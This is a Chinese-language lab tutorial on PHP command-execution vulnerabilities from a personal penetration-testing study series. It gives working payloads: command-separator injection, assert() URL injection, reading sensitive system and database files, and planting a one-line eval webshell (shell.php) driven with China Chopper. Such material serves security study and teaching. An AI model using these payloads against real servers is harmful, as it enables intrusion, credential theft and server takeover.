渗透学习
命令执行漏洞
文章目录
前言
本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。
命令执行漏洞将会用实验案例的方式讲解远程命令执行和系统命令执行两大漏洞利用方法。通过实践更深入地了解命令执行漏洞的成因和危害,更好地掌握web安全相关方面的知识。
本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。
一、命令执行漏洞概述
命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执行两类。
原理:
程序应用有时候需要调用一些系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
危害:
1.继承Web服务程序的权限去执行系统命令(任意代码)或读写文件
2.反弹shell
3.控制整个网站甚至控制服务器
4.进一步内网渗透
二、实验步骤
1.管道符号
实验原理:
Linux常用管道符:
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的
Windows常用管道符
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
打开浏览器,访问http://ip/include/include.php?page=xxx.php,获取Web根目录,判断服务器操作系统为Windows
访问
http://ip/include/include.php>page=php://input
,利用burpsuite抓取数据包,发送数据包到Repeater模块,在数据包使用语句
"<?php system(‘whoami&dir’);?>"
等语句进行测试
掌握常用通道符的用法和区别可用来绕过命令执行。
2.远程命令执行
在PHP下,允许命令执行的函数有
1.eval()
2.assert()
3.preg_replace() 正则匹配
4.call_user_func() 回调函数
5.
$a($b)
可变函数
其中eval()和assert()都是把字符串当PHP代码,但用法不同,eval是语言构造器,不是函数,不能被可变函数使用。
实验1:
PHP魔术常量获取信息原理:
探测到网站存在远程命令执行漏洞,可以利用PHP魔术常量获取相关信息。
PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。有八个魔术常量它们的值随着它们在代码中的位置改变而改变。
__LINE__
文件中的当前行号
__FILE__
文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
__DIR__
文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
__FUNCTION__
该常量所在的函数名称(PHP 4.3.0 新加)。自PHP5起本常量返回该函数被定义时的名字(区分大小写)。在PHP4中该值总是小写字母的
__CLASS__
该类被定义时的名字(PHP 4.3.0 新加)。自PHP5起本常量返回该类被定义时的名字(区分大小写)
__TRAIT__
Trait的名字(PHP 5.4.0 新加)。自PHP5.4.0起,PHP实现了代码复用的一个方法,称为traits
__METHOD__
类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)
__NAMESPACE__
当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)
访问http://ip/os/assert.php
在URL后拼接
?a=print(__LINE__)
,访问
http://ip/os/assert.php?a=print(__LINE__)
,执行代码,获取当前代码所在的行数
在URL后拼接
?a=print(__DIR__)
,访问
http://ip/os/assert.php?a=print(__DIR__)
,执行代码,获取当前文件所在的目录
在URL后拼接
?a=print(__FILE__)
,访问
http://ip/os/assert.php?a=print(__FILE__)
,执行代码,获取当前文件的完整路径
本实验掌握远程命令执行漏洞的利用,借助PHP中的魔术常量,获取相关信息。
实验2:
利用远程命令执行漏洞可以读取一些操作系统的敏感文件,从而获取重要信息。
Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php配置信息
…
Linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
…
同理实验1
在URL后面拼接:
"?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’))"
,执行代码,获取hosts文件信息
在URL后拼接:
"?a=var_dump(file_get_contents(‘C:\Windows\win.ini’))"
,执行代码,获取win.ini文件信息
本实验掌握远程命令执行漏洞的利用,读取敏感文件,获取重要信息,所以需要尽可能多的收集敏感文件的路径。
实验3:
利用远程命令执行漏洞可以执行一句话木马,从而GetShell,借助WebShell工具连接一句话木马。
在URL后拼接
?a=@eval($_POST[666])
,执行代码,构造一句话木马
打开桌面tools文件夹的“中国菜刀(过狗)”在空白处鼠标右击,点击“添加”,添加shell地址
双击一句话木马地址
本实验掌握远程命令执行漏洞的利用,执行一句话木马文件,从而GetShell。
3.系统命令执行
允许系统命令执行的函数有:
1.system()
2.exec()
3.shell_exec()
4.passthru()
5.popen()
6.反引号
其中exec()函数执行命令后不能获取全部数据。
system()、passthru()不需要echo;exec()、shell_exec()需要echo。
利用系统命令执行漏洞可以执行写文件的代码,生成新的脚本文件。
在URL后拼接:
?a=echo “<?php phpinfo();?>” > C:\server\apache22\htdocs\os\info.php
访问http://ip/os/info.php,新生成的info.php脚本文件成功解析执行
在URL后拼接:
?a=echo “<?php @eval($_POST[666]);?>” > C:\server\apache22\htdocs\os\shell.php
访问http://ip/os/shell.php,无任何报错,shell.php一句话木马文件成功生成
然后就能用中国菜刀利用一句话木马文件
总结
以上罗列了命令执行漏洞的远程命令执行和系统命令执行两大漏洞利用方法,都是基于一些不安全的函数将我们构造的语句脚本写入文件,然后执行生成代码的文件,从而生成新的脚本文件或者一句话木马文件。